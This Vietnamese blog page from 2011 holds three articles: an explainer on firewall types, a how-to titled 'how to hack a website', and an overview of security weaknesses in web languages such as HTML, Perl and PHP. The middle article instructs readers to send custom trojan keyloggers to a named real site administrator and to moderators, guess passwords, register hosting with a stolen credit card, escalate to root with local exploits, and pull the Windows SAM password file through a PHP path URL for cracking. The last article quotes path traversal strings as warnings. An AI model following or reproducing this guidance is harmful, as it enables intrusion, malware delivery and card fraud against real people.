Thứ Ba, 25 tháng 1, 2011

Tìm hiểu về tường lửa (firewall)


Tường lửa là gì?

Một cách vắn tắt, tường lửa (firewall) là hệ thống ngăn chặn việc truy nhập trái phép từ bên ngoài vào mạng. Tường lửa thực hiện việc lọc bỏ những địa chỉ không hợp lệ dựa theo các quy tắc hay chỉ tiêu định trước.

Tường lửa có thể là hệ thống phần cứng, phần mềm hoặc kết hợp cả hai. Nếu là phần cứng, nó chỉ bao gồm duy nhất bộ định tuyến (router). Bộ định tuyến có các tính năng bảo mật cao cấp, trong đó có khả năng kiểm soát địa chỉ IP (IP Address ố là sơ đồ địa chỉ hoá để định nghĩa các trạm (host) trong liên mạng). Quy trình kiểm soát cho phép bạn định ra những địa chỉ IP có thể kết nối với mạng của bạn và ngược lại. Tính chất chung của các tường lửa là phân biệt địa chỉ IP hay từ chối việc truy nhập không hợp pháp căn cứ trên địa chỉ nguồn.
Các dạng tường lửa

Mỗi dạng tường lửa khác nhau có những thuận lợi và hạn chế riêng.
Dạng phổ biến nhất là tường lửa mức mạng (Network-level firewall).

Loại tường lửa này thường dựa trên bộ định tuyến, vì vậy các quy tắc quy định tính hợp pháp cho việc truy nhập được thiết lập ngay trên bộ định tuyến. Mô hình tường lửa này sử dụng kỹ thuật lọc gói tin (packet-filtering technique) ố đó là tiến trình kiểm soát các gói tin qua bộ định tuyến.

Khi hoạt động, tường lửa sẽ dựa trên bộ định tuyến mà kiểm tra địa chỉ nguồn (source address) hay địa chỉ xuất phát của gói tin. Sau khi nhận diện xong, mỗi địa chỉ nguồn IP sẽ được kiểm tra theo các quy tắc do người quản trị mạng định trước.

Tường lửa dựa trên bộ định tuyến làm việc rất nhanh do nó chỉ kiểm tra lướt trên các địa chỉ nguồn mà không hề có yêu cầu thực sự nào đối với bộ định tuyến, không tốn thời gian xử lý những địa chỉ sai hay không hợp lệ. Tuy nhiên, bạn phải trả giá: ngoại trừ những điều khiển chống truy nhập, các gói tin mang địa chỉ giả mạo vẫn có thể thâm nhập ở một mức nào đó trên máy chủ của bạn.

Một số kỹ thuật lọc gói tin có thể được sử dụng kết hợp với tường lửa để khắc phục nhược điểm nói trên. Địa chỉ IP không phải là thành phần duy nhất của gói tin có thể mắc bẫy bộ định tuyến. Người quản trị nên áp dụng đồng thời các quy tắc, sử dụng thông tin định danh kèm theo gói tin như thời gian, giao thức, cổng... để tăng cường điều kiện lọc. Tuy nhiên, sự yếu kém trong kỹ thuật lọc gói tin của tường lửa dựa trên bộ định tuyến không chỉ có vậy.

Một số dịch vụ gọi thủ tục từ xa (Remote Procedure Call - RPC) rất khó lọc một cách hiệu quả do các server liên kết phụ thuộc vào các cổng được gán ngẫu nhiên khi khởi động hệ thống. Dịch vụ gọi là ánh xạ cổng (portmapper) sẽ ánh xạ các lời gọi tới dịch vụ RPC thành số dịch vụ gán sẵn, tuy nhiên, do không có sự tương ứng giữa số dịch vụ với bộ định tuyến lọc gói tin, nên bộ định tuyến không nhận biết được dịch vụ nào dùng cổng nào, vì thế nó không thể ngăn chặn hoàn toàn các dịch vụ này, trừ khi bộ định tuyến ngăn toàn bộ các gói tin UDP (các dịch vụ RPC chủ yếu sử dụng giao thức UDP ố User Datagram Protocol). Việc ngăn chặn tất cả các gói tin UDP cũng sẽ ngăn luôn cả các dịch vụ cần thiết, ví dụ như DNS (Domain Name Service ố dịch vụ đặt tên vùng). Vì thế, dẫn đến tình trạng tiến thoái lưỡng nan.
Tường lửa dựa trên ứng dụng/cửa khẩu ứng dụng

Một dạng phổ biến khác là tường lửa dựa trên ứng dụng (application-proxy).
Loại này hoạt động hơi khác với tường lửa dựa trên bộ định tuyến lọc gói tin. Cửa khẩu ứng dụng (application gateway) dựa trên cơ sở phần mềm. Khi một người dùng không xác định kết nối từ xa vào mạng chạy cửa khẩu ứng dụng, cửa khẩu sẽ ngăn chặn kết nối từ xa này. Thay vì nối thông, cửa khẩu sẽ kiểm tra các thành phần của kết nối theo những quy tắc định trước. Nếu thoả mãn các quy tắc, cửa khẩu sẽ tạo cầu nối (bridge) giữa trạm nguồn và trạm đích.

Cầu nối đóng vai trò trung gian giữa hai giao thức. Ví dụ, trong một mô hình cửa khẩu đặc trưng, gói tin theo giao thức IP không được chuyển tiếp tới mạng cục bộ, lúc đó sẽ hình thành quá trình dịch mà cửa khẩu đóng vai trò bộ phiên dịch.

Ưu điểm của tường lửa cửa khẩu ứng dụng là không phải chuyển tiếp IP. Quan trọng hơn, các điều khiển thực hiện ngay trên kết nối. Sau cùng, mỗi công cụ đều cung cấp những tính năng thuận tiện cho việc truy nhập mạng. Do sự lưu chuyển của các gói tin đều được chấp nhận, xem xét, dịch và chuyển lại nên tường lửa loại này bị hạn chế về tốc độ. Quá trình chuyển tiếp IP diễn ra khi một server nhận được tín hiệu từ bên ngoài yêu cầu chuyển tiếp thông tin theo định dạng IP vào mạng nội bộ. Việc cho phép chuyển tiếp IP là lỗi không tránh khỏi, khi đó, cracker (kẻ bẻ khoá) có thể thâm nhập vào trạm làm việc trên mạng của bạn.

Hạn chế khác của mô hình tường lửa này là mỗi ứng dụng bảo mật (proxy application) phải được tạo ra cho từng dịch vụ mạng. Như vậy một ứng dụng dùng cho Telnet, ứng dụng khác dùng cho HTTP, v.v..

Do không thông qua quá trình chuyển dịch IP nên gói tin IP từ địa chỉ không xác định sẽ không thể tới máy tính trong mạng của bạn, do đó hệ thống cửa khẩu ứng dụng có độ bảo mật cao hơn.
Các ý niệm chung về tường lửa

Một trong những ý tưởng chính của tường lửa là che chắn cho mạng của bạn khỏi tầm nhìn của những người dùng bên ngoài không được phép kết nối, hay chí ít cũng không cho phép họ rớ tới mạng. Quá trình này thực thi các chỉ tiêu lọc bỏ do người quản trị ấn định.

Trên lý thuyết, tường lửa là phương pháp bảo mật an toàn nhất khi mạng của bạn có kết nối Internet. Tuy nhiên, vẫn tồn tại các vấn đề xung quanh môi trường bảo mật này. Nếu tường lửa được cấu hình quá chặt chẽ, tiến trình làm việc của mạng sẽ bị ảnh hưởng, đặc biệt trong môi trường người dùng phụ thuộc hoàn toàn vào ứng dụng phân tán. Do tường lửa thực thi từng chính sách bảo mật chặt chẽ nên nó có thể bị sa lầy. Tóm lại, cơ chế bảo mật càng chặt chẽ bao nhiêu, thì tính năng càng bị hạn chế bấy nhiêu.

Một vấn đề khác của tường lửa tương tự như việc xếp trứng vào rổ. Do là rào chắn chống kết nối bất hợp pháp nên một khe hở cũng có thể dễ dàng phá huỷ mạng của bạn. Tường lửa duy trì môi trường bảo mật, trong đó nó đóng vai trò điều khiển truy nhập và thực thi sơ đồ bảo mật. Tường lửa thường được mô tả như cửa ngõ của mạng, nơi xác nhận quyền truy nhập. Tuy nhiên điều gì sẽ xảy ra khi nó bị vô hiệu hoá? Nếu một kỹ thuật phá tường lửa được phát hiện, cũng có nghĩa người vệ sĩ bị tiêu diệt và cơ hội sống sót của mạng là rất mỏng manh.

Vì vậy trước khi xây dựng tường lửa, bạn nên xem xét kỹ và tất nhiên phải hiểu tường tận về mạng của mình.
Phải chăng tường lửa rất dễ bị phá?

Câu trả lời là không. Lý thuyết không chứng minh được có khe hở trên tường lửa, tuy nhiên thực tiễn thì lại có. Các cracker đã nghiên cứu nhiều cách phá tường lửa. Quá trình phá tường lửa gồm hai giai đoạn: đầu tiên phải tìm ra dạng tường lửa mà mạng sử dụng cùng các loại dịch vụ hoạt động phía sau nó; tiếp theo là phát hiện khe hở trên tường lửa ố giai đoạn này thường khó khăn hơn. Theo nghiên cứu của các cracker, khe hở trên tường lửa tồn tại là do lỗi định cấu hình của người quản trị hệ thống, sai sót này cũng không hiếm khi xảy ra. Người quản trị phải chắc chắn sẽ không có bất trắc cho dù sử dụng hệ điều hành (HĐH) mạng nào, đây là cả một vấn đề nan giải. Trong các mạng UNIX, điều này một phần là do HĐH UNIX quá phức tạp, có tới hàng trăm ứng dụng, giao thức và lệnh riêng. Sai sót trong xây dựng tường lửa có thể do người quản trị mạng không nắm vững về TCP/IP (Transmission Control Protocol/ Internet Protocol).

Một trong những việc phải làm của các cracker là tách các thành phần thực ra khỏi các thành phần giả mạo. Nhiều tường lửa sử dụng trạm hy sinh (sacrificial hosts) - là hệ thống được thiết kế như các server Web (có thể sẵn sàng bỏ đi) hay bẫy (decoys), dùng để bắt các hành vi thâm nhập của cracker. Bẫy có thể cần dùng tới những thiết bị ngụy trang phức tạp nhằm che dấu tính chất thật của nó, ví dụ: đưa ra câu trả lời tương tự hệ thống tập tin hay các ứng dụng thực. Vì vậy, công việc đầu tiên của cracker là phải xác định đây là các đối tượng tồn tại thật.

Để có được thông tin về hệ thống, cracker cần dùng tới thiết bị có khả năng phục vụ mail và các dịch vụ khác. Cracker sẽ tìm cách để nhận được một thông điệp đến từ bên trong hệ thống, khi đó, đường đi được kiểm tra và có thể tìm ra những manh mối về cấu trúc hệ thống.

Ngoài ra, không tường lửa nào có thể ngăn cản việc phá hoại từ bên trong. Nếu cracker tồn tại ngay trong nội bộ tổ chức, chẳng bao lâu mạng của bạn sẽ bị bẻ khoá. Thực tế đã xảy ra với một công ty dầu lửa lớn: một tay bẻ khoá trà trộn vào đội ngũ nhân viên và thu thập những thông tin quan trọng không chỉ về mạng mà còn về các trạm tường lửa.
Lời kết

Hiện tại, tường lửa là phương pháp bảo vệ mạng phổ biến nhất, 95% cộng đồng phá khoá phải thừa nhận là dường như không thể vượt qua tường lửa. Song trên thực tế, tường lửa đã từng bị phá. Nếu mạng của bạn có kết nối Internet và chứa dữ liệu quan trọng cần được bảo vệ, bên cạnh tường lửa, bạn nên tăng cường các biện pháp bảo vệ khác.

Làm sao để Hack một trang web


Đây không còn là chuyện bạn đi kiếm trang web bị dính một lỗi để Hack nữa, bây giờ nó là chuyện khác, khi Hack vào một trang web bạn nhằm vào trước, có thể bạn sẽ tốn 1 giờ, một ngày hay vài tháng, không thể nào nói trước được. Và nên  nhớ Hack là một nghệ thuật, phải biết dùng cái đầu hơn là dùng đôi tay.1/ Tìm thông tin về trang Web đó :
Đây gọi là bước FootPrinting tức là thu thập thông tin của mục tiêu. Bạn dùng lệnh Whois để tìm thông tin về tên miền đó, nếu là người đàng hoành thì chắc chắn họ sẽ “khai báo” đầy đủ thông tin của mình, Ví dụ khi thử whois thằng
http://k.domaindlx.com/clairsang/www.ttvnonline.com/default.htm thì bạn sẽ nhận được gì : Vũ Vương Thắng + đầy đủ thông tin của trang này (mail + địa chỉ nhà …), bạn còn chần chờ gì mà không gửi ngay cho nó một con Trojan keyloger, nhưng dễ hiểu quá, tôi khuyên bạn nên tự viết một con Trojan cho riêng mình, chứ không nên xài đồ có sẵn, như thế Victim sẽ dễ dàng phát hiện được Trojan mà bạn cài và dễ dàng xoá bỏ. Nhưng đôi khi gặp vài trang “Cà chớn” giống như http://k.domaindlx.com/clairsang/www.vnlogic.net/default.htm thì tên khai toàn fuck u không L
2/ Trong khi chờ đợi con keyloger của bạn làm việc, có thể nó gửi thông tin của Vũ Vương Thắng về hay đã bị die, bạn bắt tay vào việc quét server, trong phần trước bạn đã có thông tin về host của trang Web mình cần hack. Đầu tiên là quét cổng, quét xem server nó mở cổng nào, nếu may mắn bạn sẽ phát hiện thằng này đã bị ai hack rồi và một chú trojan đang mở rộng cửa đón bạn vào, nhưng nếu không có cũng chẳng sao cả, bạn sẽ phát hiện được thằng server chạy những cổng nào, từ đ1o phát hiện ra nó đang chạy những service nào. Một số server bạn có thể dùng như sau : http://k.domaindlx.com/clairsang/www.vnn.vn/cgi-bin/test-cgi/_2a@_2a  , mỗi dịch vụ của server sẽ bay ra như moi goi J
3/ Mỗi service đều có một vài lỗi riêng và chưa chắc thằng Admin nó fix hết, bạn đã biết server nó chạy những service nào rồi ở bước trên, bạn còn chần chờ gì nữa mà không thử hết lỗi của từng service (exploit, password defaut …), nếu dùng lỗi do chính bạn páht hiện và chưa công bố lên mạng nữa thì càng tuyệt, càng dễ thành công. Vào bước này tôi khuyên bạn không nên dùng chương trình quét lỗi, nó sẽ quét từ những lỗi từ thời Napoleon I đến giờ, và với tốc độ chậm rì ở VN, cái cơ bản dai ra nhu co co và chưa chắc thành công
4/ Sau mỗi lúc nó dùng remote exploit của bạn không thành công, server vẫn là một bức tường thật vững chắc không thể nào vượt qua được, bạn hãy nghĩ ngay đến việc làm sao kiếm cho được một accout trong server đó đã (để dùng local exploit). Bạn bắt đầu tìm hiểu về cơ cấu tổ chức của trang web. Ví dụ khi Hack http://k.domaindlx.com/clairsang/www.ttvnonline.com,/default.htm tôi gửi trojan đến cho Vũ Vương Thắng (Admin của TTVN Online), nhưng đều đã bị phát hiện, tôi nghĩ ngay đến chuyện gửi trojan cho những tên cấp thấp hơn, Ví dụ như trong trang http://k.domaindlx.com/clairsang/www.ttvnonline.com/default.htm , ngoài Vũ Vương Thắng, nó còn giao pass FTP cho một số Moderator nữa, thế là bạn gửi cho tất cả cho Moderatorerator và đợi, trong trường hợp này tỷ lệ thành công dễ hơn nhiều bước 1, vì trong đống Moderator chắc cũng có thằng bất cẩn. Hay Ví dụ khi bạn tấn công server của một côn ty, sau khi gửi trojan cho admin mà không dính, bạn có thể gửi trojan cho tay giám đốc kinh doanh nào đó chẳng hạn, chuyên ngành của nó là kinh doanh và nó sẽ không có nhiều đề phòng, cho dù nó yên tâm là nó đã có cài chương trình antivirus, như khi đã nói trong bài Trojan, chương trình antivirus chức năng chính của nó là chống virus, còn những con trojan bị phát hiện chỉ là những con trojan đã nổi tiếng lắm lắm. Ngoài việc dùng keyloger, bạn cũng có thể tự thử tài đoán password của mình. Thường thì những người không giỏi về vi tính thì đặt password có liên quan đến những thông tin của mình (Ví dụ tên vợ con, tên mình, kênh TV ưa thícch …), bước này cũng khá quan trọng và bạn hãy coi phim “Cá Kiếm“ để học tập sư phụ  . Vẫn không thành công L, nếu thằng đó dùng share host thì việc kiếm được một cái account khoẻ re, dùng ngay cái credit card do bạn chôm được từ trường đăng ký ngay một cái accout, và thằng reseller cha dại mà từ chối tặng bạn account để xài đâu. Có account trong server đó rồi rất tiện, bạn thử dùng Local exploit để đoạt quyền root, thường thì mấy thằng admin không fix Local exploit, nó chỉ quan tâm từ bên ngoài thôi, còn chuyện nội bộ nó không quan tâm lắm. Bây giờ giống như bước 3, thử tất cả các lỗi Local mà bạn biết để thử đoạt quyền root.
5/ Nếu Website mà bạn muốn Hack bị lỗi PHP thì đầu tiên bạn hãy vào Start --> programs --> MS-DOS Prompt và gõ lệnh : Ping http://k.domaindlx.com/clairsang/www.t_25c3_25aantrangweb.com/default.htm và Enter để biết được IP của Website đó. Sau đó bạn gõ :
http://IP Website/php/php.exe?c:\winnt\repair\sam
Nó sẽ Download file *.SAM về cho bạn. Đó là file chứa Password tuy nhiên đã được mã hoá. Bạn hãy dùng chương trình L0phtCrack (Download trong mục Hack Tools) để giải mã nó
Thế là xong

Điểm yếu của các ngôn ngữ thiết kế Web



Trong thời điểm internet và các giao dịch, tương tác thông qua internet phát triển rầm rộ như hiện nay, hàng loạt các ngôn ngữ và các giao thức giao tiếp, thiết kế trang web cũng ra đời để phục vụ cho những mục đích nhất định. Có thể kể đến nhiều ngôn ngữ đã phổ biến như HTML, DHTML, XML, Java, Perl, PHP, ColdFuson, ASP.. mỗi loại có ưu và nhược điểm riêng.
Xét về tính đơn giản, gọn nhẹ thì HTML vẫn là lựa chọn đầu tiên. Tuy nhiên, nếu trang web của bạn yêu cầu khả năng tương tác cao hơn; liên kết và cập nhật dữ liệu động; thể hiện thông tin, đồ họa phức tạp, thì Java hay PHP là lựa chọn thời thượng. Để phục vụ tốt cho mục đích phát triển trang web cá nhân hay tổ chức, chúng ta sẽ đề cập sơ lược qua cách thức hoạt động của một số ngôn ngữ và chuẩn web thông dụng, đồng thời phân tích những yếu điểm của chúng liên quan đến vấn đề bảo mật nếu có từ đó có thể chọn cho mình một ngôn ngữ thích hợp.
1. HTML (Hyper Text Markup Language) - Ngôn ngữ đánh dấu siêu văn bản
HTML được phát triển từ 1989 và được sử dụng rộng rãi cho đến nay để trình bày các trang web dạng văn bản, hình ảnh, âm thanh và các dạng ảnh động. Các chi tiết kĩ thuật của ngôn ngữ HTML hiện nay được bảo hộ bởi tổ chức W3C (World Wide Web Consortium -
http://www.w3.org).
Một trang HTML là một tệp dữ liệu dạng text có phần mở rộng dạng .htm, .html, .html4 - bao gồm tập hợp của những thành phần HTML (HTML element). Những HTML element sẽ được web browser hiểu và hiển thị trên màn hình thông tin tương ứng với element đó. Ở đây chúng ta chỉ phân tích về khía cạnh bảo mật của các HTML element thông dụng.

<form> - Vùng chứa các đối tượng nhập thông tin của người dùng. Các thành phần cho phép người dùng nhập thông tin là khởi đầu của các nguy cơ về bảo mật. Ở các chương trình thiết kế không tốt, nếu thông tin nhận từ người dùng không phù hợp định dạng hoặc không như mong muốn, chúng có thể tạo nên những kết quả khó lường. Ví dụ một trang web trích thông tin của một người dùng khi nhận tên đăng nhập và mật khẩu của người đó, bằng cách cung cấp thông tin đặc biệt đánh lừa hệ thống, người dùng có thể trích thông tin của tất cả các user khác.

<form action> - Thuộc tính Action. Ta dùng thuộc tính này để chỉ định một trình thực thi trên web server cho đối tượng form. Ví dụ: <form action = "/login.cgi"> ... Khi biết được tên chương trình, ta có thể tìm hiểu thêm các thông tin có giá trị về web server, về thư mục hiện hành của chương trình.

<form method> - Phương thức của form, định nghĩa cách thức dùng để gửi thông tin người dùng nhập vào đến web server cho chương trình xử lý. Khi hiểu được cách thức gửi thông tin (POST và GET), hacker có thể theo dõi và bắt các thông tin đựơc gửi trên mạng, thậm chí có thể thay đổi chúng và gửi đi với giá trị khác để tạo ra những kết quả khó lường.

<script language=<variable>>: Biến truyền vào là ngôn ngữ script phía client, chẳng hạn như: javascript, vbscript, XML.. Khi thay đổi loại ngôn ngữ, hacker có thể vượt qua các bộ lọc kiểm tra.

<input> - Edit control để nhập thông tin. Nếu ứng dụng web không xử lý tốt các thông tin nhập vào, hacker có thể lợi dụng nhập vào các giá trị đặc biệt đánh lừa hệ thống và tạo nên những kết quả không mong muốn. Những giá trị username và password dùng trong kĩ thuật SQL Injection là ví dụ điển hình.

<input type=hidden> - Kiểu đối tượng input. Một số trang web dùng đối tượng input với thuộc tính hidden để chứa giá trị định trước như giá mua hàng ở các trang shopping card. Lợi dụng đặc điểm này, hacker có thể thay đổi giá trị này thành giá trị mong muốn và gửi đ?n web server. Ở các trang web buôn bán, nếu không có những xử lý giá trị phía server, hacker có thể mua được những món hàng với giá giảm đáng kể.

<input maxlength=<variable>>: Giá trị maxlength xác định chiều dài của giá trị nhập vào đối tượng input. Hacker có thể thay đổi giá trị maxlength cho phép nhập vào những giá trị hoặc chuỗi rất dài. Nếu chúng không được xử lý thích hợp, chúng có thể gây nên những lỗi như tràn bộ đệm, thậm chí có thể làm hỏng web server.

<input size=<variable>>: Tương tự như giá trị maxlength.

<applet> - Java applet. Thuộc tính này dùng để hiện và chạy thẻ java applet. Java chạy và gửi thông tin thường dưới dạng plain text nên có thể dùng các chương trình theo dõi gói tin để bắt các thông tin này. Java byte-code có thể dịch ngược đ? xem mã nguồn.

<object> Thuộc tính này dùng để thể hiện các đối tượng ActiveX và Java applet. Lợi dụng thuộc tính này, hacker có thể gửi email có nhúng HTML và đánh lừa người dùng chạy các ActiveX control có thể đoạt quyền điều khiển hệ thống. Đây cũng là một trong những cách tốt nhất người ta lợi dụng để lan truyền virus trên mạng.

<embed> Thuộc tính này được dùng phối hợp với thẻ <object> để nhúng các đối tượng ActiveX...
2. DHTML (Dynamic HTML)
DHTML là phiên bản mở rộng của HTML có phần mở rộng dạng .dhtml. Nó giúp tăng cường tính tương tác của các đối tượng điều khiển trong trang HTML tĩnh bằng cách cho phép người ta dùng các script vbscript hoặc javascript điều khiển chúng. Ví dụ một thẻ image để nhúng ảnh vào trang web có thể nhận biết khi nào người dùng di chuyển chuột trên nó bằng cách cài đặt hàm xử lý sự kiện OnMouseOver, khi đó thông qua những xử lý thích hợp sẽ làm đối tượng hình ảnh trở nên sống động hơn. Nhìn chung, bên cạnh những mở rộng như tạo những hiệu ứng MouseOver, chuỗi chữ di chuyển đ?ng, thay đổi màu sắc..., các khía cạnh bảo mật của DHTML tương tự như HTML vì nó dựa trên nền tảng HTML. Tuy nhiên hiện nay các lập trình viên web ít chọn DHTML vì có một số trình duyệt không hỗ trợ tốt cho nó, điển hình như Netscape.
3. XML (Extensible Markup Language) - Ngôn ngữ đánh dấu mở rộng
Ngôn ngữ XML mới phát triển trong thời gian gần đây và có thể sẽ được phổ biến rộng rãi trong tương lai, chẳng hạn như ở các ngôn ngữ .NET. Không giới hạn và định nghĩa sẵn như HTML, XML cho phép người dùng tự đ?nh nghĩa ra các thành phần riêng và mở rộng tuỳ ý. Tệp dữ liệu XML có phần mở rộng dạng .xml.
Bộ phận quan trọng nhất trong ngôn ngữ XML là bảng định nghĩa DTD (Document Type Definitions). DTD dùng để định nghĩa các thẻ mở và đóng của một tệp XML, giúp người xem có một cái nhìn tổng quát về dữ liệu đang lưu trữ.
Ví dụ ta cần định nghĩa cấu trúc dữ liệu Danh Sách Sinh Viên, ta tạo một tệp DTD dssv.dtd như sau:

<!ELEMENT DSSV (SV*)>
<!ELEMENT SV(MASV, TEN, NS, LOP*)>
<!ELEMENT MASV(#PCDATA)>
<!ELEMENT TEN(#PCDATA)>
<!ELEMENT NS(#PCDATA)>
<!ELEMENT LOP(#PCDATA)>

Đây là ví dụ dữ liệu trong tệp XML:

<?xml version="1.0" ?>
<!DOCTYPE DSSV PUBLIC "." "dssv.dtd">
<DSSV>
<SV>
<MASV>95001</MASV>
<TEN>W_Hat</MASV>
<NS>19/11/1077</MASV>
<LOP>TH95</MASV>
</SV>
<SV>
.....
</SV>
</DSSV>

Dữ liệu trên thể hiện thông tin của một sinh viên với mã số, tên, ngày sinh và lớp. Kí hiệu * nằm sau SV và LOP chỉ định dữ liệu có thể chứa nhiều sinh viên, mỗi sinh viên có thể có nhiều lớp.
4. Perl (Pratical Extraction and Report Language)
Perl là ngôn ngữ lập trình cấp cao được phát triển từ năm 1987. Rất mạnh, tiện dụng và đồng thời là ngôn ngữ được phổ biến miễn phí, hỗ trợ cho hầu hết các hệ thống từ Winđowsx/NT/2k/XP, các phiên bản biến thể của Unix đến hệ thống AS/400, MacOS, Novell NetwarePerl...Perl đã và đang được sử dụng rộng rãi hiện nay trên internet.
Perl được dùng chủ yếu cho các xử lý phía server, tuy nhiên ta cũng có thể dùng perl để viết các ứng dụng client, thậm chí có thể tạo nên ứng dụng chạy độc lập để thực hiện một tác vụ tính toán nào đó.
Trên web server, perl thường được thực thi với CGI tạo nên cơ chế xuất thông tin ra trình duyệt web. Hãy xem ví dụ dùng perl để xử lý các thông tin nhập vào từ người dùng trong đoạn html dưới đây:

<form method=POST action="/admin/login.pl"></form>
<html>
Username:
<input value="" size=80 maxlength=80 name="username">
Password:
<input value="" size=80 maxlength=80 name="password">
<input type=submit value="Login">
</html>

Sau khi người dùng nhập tên, mật khẩu và nhấn nút Login những thông tin này sẽ được gửi đến chương trình perl có tên login.pl nằm ở thư mục /admin/ trên web server. Chương trình login.pl sau khi xử lý sẽ gửi kết quả ngược về web client.

Khi sử dụng perl để thực hiện các xử lý phía server, ta cần lưu ý một số điểm quan trọng sau có khả năng gây nên những nguy cơ về bảo mật nghiêm trọng:
a - Tránh thực thi các web server dưới quyền quản trị (root trong Unix và adminitrator trong Windows). Khi các script ở web server được chạy có quyền quản trị sẽ rất nguy hiểm nếu ai đó dùng nó để thực hiện các lệnh điều khiển hệ thống. Các bạn có thể thấy script cgi-telnet là một ví dụ cụ thể.b - Luôn thực hiện tiền xử lý các thông tin người dùng nhập vào, như các giá trị tên người dùng, mật khẩu, giá cả...Tạo một chuỗi các kí tự hợp lệ tương ứng với thông tin cần nhập và lọc ra những kí tự được nhập không chính xác. Chẳng hạn với tên và mật khẩu người dùng, ta có thể giới hạn ở các kí tự hợp lệ sau: "0..9", "a..z", "A..Z"; không cho phép hoặc lọc bỏ các kí tự đ?c biệt như: "/\+)({}[]'-_=.|" ... Một ví dụ khác về việc dùng perl thực hiện tiền xử lý với email người dùng, với yêu cầu email phải có kí hiệu @ và dấu chấm "." ở ít nhất là phần sau dấu @:

if ($email !~ /^[\w-]+\@[\w.-]+$/)
{
print "<br>#Error in your email. Please re-enter<br>";
}else
{
# thực hiện xử lý đối với thông tin email hợp lệ;
}
c - Hạn chế không cho phép thực thi các lệnh hệ thống (shell command) như open(), fork(), system(), exec() hoặc cho thực hiện sau khi đã kiểm tra chặt chẽ các tham số truyền vào. Ở các hệ thống bảo vệ lỏng lẻo, hacker có thể lợi dụng truyền các tham số không thích hợp vào các hàm trên để thực hiện các lệnh xem thông tin và điều khiển hệ thống.d - Trên các hệ thống Unix, cần thiết lập các thông số $PATH và $IFS bằng các giá trị chính xác cụ thể, tránh dùng các biến môi trường.
Ví dụ ta đặt như sau:

$ENV{"PATH"}="/bin:/usr/bin:/opt";
$ENV{"IFS"}="/";

Việc chỉ định không rõ ràng các thông tin trên có thể tạo điều kiện cho hacker sửa đổi chúng và bắt các chương trình của chúng ta phải thực thi một chương trình nguy hiểm nào đó ở nơi khác thay vì tại vị trí ta mong muốn.
e - Kiểm tra kích thước và chiều dài của các thông tin người dùng nhập vào hoặc dùng biến $ENV{CONTENT_LENGTH} để hạn chế chiều dài của chuỗi dữ liệu cho các yêu cầu GET/POST. Nếu không được kiểm tra chính xác, hacker có thể gửi đi một lượng dữ liệu có giá trị rất lớn hoặc rất dài có thể gây nên các lỗi tràn bộ đệm, hỏng web server và thậm chí tìm được các điều kiện phát sinh lỗi tràn bộ đệm và thực thi các lệnh nguy hiểm từ xa.f - Tránh cho phép chỉ định đường dẫn cụ thể ở các trường dữ liệu hoặc ở các tham số truyền vào các chương trình. Chỉ nên cho phép các đường dẫn mang tính tương đối, cắt bỏ các giá trị có dạng dot dot ".." hoặc slash "/\". Ở rất nhiều chương trình web không kiểm tra đúng đã cho phép người dùng nhập các tham số ví dụ như /../../../../etc/passwd (Unix) hoặc /../../../winnt/repair/sam._ (NT/2k) và dễ dàng lấy được các thông tin về mật khẩu.g - Sử dụng khả năng taint checking của perl để theo dõi và kiểm tra giá trị của các biến.h - Các chương trình perl được lưu trữ dưới dạng text đơn giản do đó có thể dễ dàng bị xem mã nguồn và lấy các thông tin có giá trị khác tên, mật khẩu truy cập cơ sở dữ liệu...nếu hacker đoạt được quyền điều khiển hệ thống hoặc có quyền xem hệ thống file. Ta có thể dùng một số chương trình ví dụ như perl2exe cho phép chuyển đổi các tệp perl dạng text sang dạng chương trình thực thi .exe, như vậy có thể tránh được việc bị xem mã nguồn và không còn cần trình thông dịch perl khi chạy.
5. PHP (Personal Home Page)
Được phát triển từ năm 1995 và dần được bổ sung qua một số phiên bản, cho đến nay PHP trở thành một trong những ngôn ngữ script phía server phổ biến nhất bên cạnh Perl và ASP (Active Server Pages). Tương tự như Perl, PHP có dạng cú pháp, câu lệnh đơn giản, dễ hiểu - đặc biệt thích hợp với các lập trình viên có hiểu biết về ngôn ngữ C/C++ - đồng thời có ưu điểm là thực thi rất nhanh và có thể chạy ở máy client hoặc như một ứng dụng độc lập. Hiện nay người ta thường dùng PHP đ? thực hiện các tác vụ xử lý phía server ở các web server trên nền Unix, điển hình như Apache. Các chương trình PHP thường có phần mở rộng là .php, .php3, .php4; mã PHP cũng có thể nhúng vào một trang HTML. Hãy xem ví dụ sau thực hiện in lên trình duyệt một chuỗi kí tự:

<!-- PHP Example in HTML
<html>
<?php
echo "<br>Hello World!<br>";
?>
</html>

Chú ý thẻ <? và ?> dùng để đánh dấu nơi bắt đầu và kết thúc mã PHP.
Cho đến nay, những điểm yếu của PHP được phát hiện tương tự như ở ngôn ngữ Perl. Đặc biệt khi sử dụng PHP để nhận các thông tin nhập từ người dùng thông qua trình duyệt và xử lý cơ sở dữ liệu bên dưới; hoặc thực thi các lệnh hệ thống như system(), shellexec(), exec(), passthru()...ta cần chú ý thực hiện việc kiểm tra và lọc những dữ liệu truyền vào không hợp lệ để tránh trường hợp người dùng nhập dữ liệu sai, đánh lừa hệ thống sinh ra những kết quả không mong muốn, thậm chí thực thi các lệnh từ xa.
Ví dụ sau thực hiện việc kiểm tra đơn giản trên chuỗi $value có kiểu số, dùng hàm đ?nh nghĩa sẵn preg_match():

if (preg_match("/^[0-9]+$/i", $value))
echo "Invalid number!\n";
return 1;
break;

Các bạn tham khảo thêm các thông tin về PHP tại
http://www.php.net
6. ColdFusion
ColdFusion (CF) là hệ thống phát triển ứng dụng web của công ty Allaire (http://www.allaire.com) với phiên bản mới nhất hiện nay là 5.0. CF có 3 thành phần chính bao gồm: Application Server, Markup Language và Studio. Chúng ta sẽ tìm hiểu sơ lược qua từng thành phần này.

Application Server (Máy chủ ứng dụng) - Đây là thành phần chính của ColdFusion có thể chạy trên các nền Windows và Unix. Application Server chạy trên web server và xử lý các yêu cầu từ các trang mã ColdFusion.

Markup Languge (CFML) - Là ngôn ngữ web phía server được phát triển tuân theo quy ước HTML bao gồm các thẻ và thuộc tính của thẻ. CFML được dùng kết hợp với Application Server tạo nên các các ứng dụng web như các shopping card, quản lý tài khoản ngân hàng trực tuyến...Chương trình ColdFusion có phần mở rộng bắt buộc là .CFM.
